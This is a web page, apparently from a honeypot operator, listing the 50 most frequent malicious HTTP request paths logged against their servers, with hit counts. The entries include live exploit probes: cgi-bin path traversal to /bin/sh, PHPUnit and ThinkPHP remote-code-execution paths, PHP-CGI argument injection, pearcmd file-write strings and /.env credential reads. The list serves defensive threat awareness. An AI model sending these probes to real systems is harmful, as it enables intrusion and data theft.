Web Honeypot

Attackers are constantly spewing attacks against everything on the internet. Not everyone does this quietly.

Below is a list of the top 50 most common attacks or scans against my web servers from the past seven days, updated daily. IPs and domains seen in the list are filtered. A byproduct of filtering domains is that file extensions can get regexed as DNS hosts, so use your imagination for anything that looks odd.

UPDATE: After running daily updates for over a year, I am shutting down the service. This list will remain static with the last logs posted.

HTTP Request URI	Number of Hits
/cgi-bin/luci/;stok=/locale	52
/cdn-cgi/trace	51
/FILE_OR_DOMAIN	42
\x84\xB4,\x85\xAFn\xE3Y\xBBbhl\xFF(=':\xA9\x82\xD9o\xC8\xA2\xD7\x93\x98\xB4\xEF\x80\xE5\xB9\x90\x00(\xC0	33
/FILE_OR_DOMAIN	30
*	23
/.env	13
/vendor/phpunit/phpunit/src/Util/PHP/FILE_OR_DOMAIN	13
/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh	10
/test/vendor/phpunit/phpunit/src/Util/PHP/FILE_OR_DOMAIN	9
/admin/vendor/phpunit/phpunit/src/Util/PHP/FILE_OR_DOMAIN	9
/containers/json	9
/yii/vendor/phpunit/phpunit/src/Util/PHP/FILE_OR_DOMAIN	9
/lib/phpunit/src/Util/PHP/FILE_OR_DOMAIN	9
/lib/phpunit/phpunit/src/Util/PHP/FILE_OR_DOMAIN	9
/backup/vendor/phpunit/phpunit/src/Util/PHP/FILE_OR_DOMAIN	9
/crm/vendor/phpunit/phpunit/src/Util/PHP/FILE_OR_DOMAIN	9
/www/vendor/phpunit/phpunit/src/Util/PHP/FILE_OR_DOMAIN	9
/panel/vendor/phpunit/phpunit/src/Util/PHP/FILE_OR_DOMAIN	9
/lib/phpunit/Util/PHP/FILE_OR_DOMAIN	9
/public/vendor/phpunit/phpunit/src/Util/PHP/FILE_OR_DOMAIN	9
/phpunit/phpunit/Util/PHP/FILE_OR_DOMAIN	9
/V2/vendor/phpunit/phpunit/src/Util/PHP/FILE_OR_DOMAIN	9
/cms/vendor/phpunit/phpunit/src/Util/PHP/FILE_OR_DOMAIN	9
/zend/vendor/phpunit/phpunit/src/Util/PHP/FILE_OR_DOMAIN	9
/FILE_OR_DOMAIN?s=/index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello	9
/ws/ec/vendor/phpunit/phpunit/src/Util/PHP/FILE_OR_DOMAIN	9
/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh	9
/phpunit/Util/PHP/FILE_OR_DOMAIN	9
/FILE_OR_DOMAIN?lang=../../../../../../../../tmp/index1	9
/testing/vendor/phpunit/phpunit/src/Util/PHP/FILE_OR_DOMAIN	9
/vendor/phpunit/phpunit/Util/PHP/FILE_OR_DOMAIN	9
/lib/vendor/phpunit/phpunit/src/Util/PHP/FILE_OR_DOMAIN	9
/FILE_OR_DOMAIN?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input	9
/vendor/phpunit/src/Util/PHP/FILE_OR_DOMAIN	9
/phpunit/src/Util/PHP/FILE_OR_DOMAIN	9
/demo/vendor/phpunit/phpunit/src/Util/PHP/FILE_OR_DOMAIN	9
/FILE_OR_DOMAIN?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\x22hi\x22));?>+/tmp/FILE_OR_DOMAIN	9
/api/vendor/phpunit/phpunit/src/Util/PHP/FILE_OR_DOMAIN	9
/apps/vendor/phpunit/phpunit/src/Util/PHP/FILE_OR_DOMAIN	9
/phpunit/phpunit/src/Util/PHP/FILE_OR_DOMAIN	9
/blog/vendor/phpunit/phpunit/src/Util/PHP/FILE_OR_DOMAIN	9
/vendor/vendor/phpunit/phpunit/src/Util/PHP/FILE_OR_DOMAIN	9
/public/FILE_OR_DOMAIN?s=/index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello	9
/app/vendor/phpunit/phpunit/src/Util/PHP/FILE_OR_DOMAIN	9
/workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/FILE_OR_DOMAIN	9
/lib/phpunit/phpunit/Util/PHP/FILE_OR_DOMAIN	9
/vendor/phpunit/phpunit/LICENSE/FILE_OR_DOMAIN	9
/ws/vendor/phpunit/phpunit/src/Util/PHP/FILE_OR_DOMAIN	9
/laravel/vendor/phpunit/phpunit/src/Util/PHP/FILE_OR_DOMAIN	9